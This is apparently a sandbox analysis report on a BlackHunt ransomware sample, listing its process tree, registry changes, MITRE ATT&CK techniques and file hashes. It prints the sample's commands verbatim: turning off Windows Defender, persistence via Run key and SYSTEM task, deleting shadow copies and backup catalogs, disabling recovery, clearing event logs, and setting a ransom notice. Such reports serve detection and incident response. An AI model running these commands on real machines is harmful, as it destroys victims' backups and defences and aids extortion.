c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 51 PID 2476 wrote to memory of 2728 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 51 PID 2476 wrote to memory of 2548 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 52 PID 2476 wrote to memory of 2548 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 52 PID 2476 wrote to memory of 2548 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 52 PID 2476 wrote to memory of 2548 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 52 PID 2476 wrote to memory of 2676 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 155 PID 2476 wrote to memory of 2676 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 155 PID 2476 wrote to memory of 2676 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 155 PID 2476 wrote to memory of 2676 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 155 PID 2476 wrote to memory of 2148 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 56 PID 2476 wrote to memory of 2148 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 56 PID 2476 wrote to memory of 2148 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 56 PID 2476 wrote to memory of 2148 2476 c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe 56 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe"C:\Users\Admin\AppData\Local\Temp\c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2476 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2340 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2848
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:3032
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2680
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2712 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2588
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2840 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2720
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2768
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2656
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2560
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2132
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2792
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2604
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:1652
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2956
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2332
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:1796
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2728
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:2352
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2548
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1964
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2676
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:2008
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2148
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:1296
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2276
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:1736
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2216
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:1308
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2804
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:872
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2972
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1704
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2988
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1716
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2100
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:1972
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2020
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵
- Suspicious use of WriteProcessMemory
PID:3032
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2304
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:768
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2908
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1644
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1224
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2256
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1664
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:2396
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:812
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1684
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2828
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:3028
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1544
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2664
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2936
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:852
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:540
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2248
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe" /F2⤵PID:356
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe" /F3⤵
- Creates scheduled task(s)
PID:952
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1768
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:752
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1928
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2008
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2164
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:700
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:3044
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:1028
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2532
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2308
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:900
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:840
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2472
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1728
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:592
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1196
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:472
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1592
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2384
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1872
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:3588
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:3884
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:3680
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:4076
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:2308
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:3876
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:3044
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2208
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:2684
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2332
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:1556
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2248
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:3904
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2088
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:948
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2892
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1800
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1156
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:2372
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:2792
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:2772
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:1972
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:2040
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:3404
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1516
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1716
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:4012
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:1636
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:3256
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:3148
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2860
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2576
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1964
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2100
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1816
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2164
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:268
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:588
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2428
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:3868
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:2632
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:2660
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2616
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\c595886c8ace9ce23ac8dcc7ec9c6aaea9a563df3a89bf748cbbb93a3301d281.exe"2⤵
- Deletes itself
PID:848 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:844
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2744
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:872
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2136
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k swprv1⤵PID:2256
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:1944
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:2676
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Interacts with shadow copies
PID:3364
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
1KB
MD5514d9209ee69777a92f2e759284a70ca
SHA1f9979a78ba2b2e48a66dd18817ada4814380d78b
SHA2567a761791aac7b8c34f49c31c05396cb2c2820895040f052894da9b785ebe3683
SHA512c72e79c14d01e20822b3adf63c5aa16abdc09ed6afae5f8fbe7c55b8bafb828eaf57e2b9d7867b567487918f4c421f5582bb58cc7a5ea3e98ec9f987452ae6a4
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Filesize
12KB
MD5d430f2f5b6f68ced96c8070ed4c33396
SHA1a7ab8bd6f90c781bcabd25bfd624d6082731f632
SHA25699d534cda374b3fc5d2a03230552825729d0b36ec1950d9a7d58672cdda5b4a9
SHA51269f733e4c7fb43dc08c1274460affe42e7354215fb797794a754bb7dd5358817eebddee500c5a644d1039b39c95bde763b12b53acdbcd0aea771bef7544c7fc0
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Filesize
684B
MD53a0cb271b3c18038f619921c4af2d51c
SHA14e98aad7f9ab96d6dbfb74f3b62094b6e34cc57d
